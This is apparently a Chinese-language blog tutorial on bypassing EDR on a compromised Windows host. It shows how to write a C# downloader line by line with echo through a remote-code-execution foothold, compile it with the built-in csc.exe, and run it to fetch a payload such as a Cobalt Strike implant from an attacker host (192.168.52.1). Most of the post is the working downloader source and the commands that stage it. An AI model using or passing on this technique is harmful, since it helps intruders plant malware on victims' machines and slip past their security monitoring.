Csc.exe编译下载器绕过edr

NO.1 简介

通常我们会遇到无法在靶机上传文件的情况,例如上传cs马或者webshell等工具,这种时候一般采用两种方式来达成目标。一是直接写入文件到靶机,二是通过远程下载到靶机。
但如今靶机大多存在edr,无法使用PowerShell或cmd来写入恶意文件,curl或wget也会受到各种限制。

这时候就可以通过cs文件来做一个文件下载器,帮助我们达成目标。

csc.exe是微软.NET Framework中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe。

NO.2 cs文件编写

文件下载的cs

using System.Net;
namespace downloader
{
    class Program
    {
        static void Main(string[] args)
        {
            WebClient client = new WebClient();
            string URLAddress = @"http://192.168.52.1/2.exe"; //远程文件
            string receivePath = @"e:\2.exe";//存放的位置,一定要是可读写执行位置
            client.DownloadFile(URLAddress, receivePath);
        }
    }
}

写入文件到1.txt,存放路径要是可读写的路径

Echo using System.Net; >> c:\temp\1.txt

若rce处只能单行执行,可使用echo追加到文件中
image

NO.3 上传编译

系统中.NET的版本可能不同,按实际情况判断

image

将1.txt编译成下载2.exe的可执行文件

C:\Windows\Microsoft.NET\Framework\v3.5\csc.exe /out:e:\1.exe c:\temp\1.txt

编译后导出的路径,一定要是可读写执行的路径,一般是temp路径
image

NO.4 执行

在客户端
image

posted @ 2022-02-28 10:02  PYkiller  阅读(127)  评论(0编辑  收藏  举报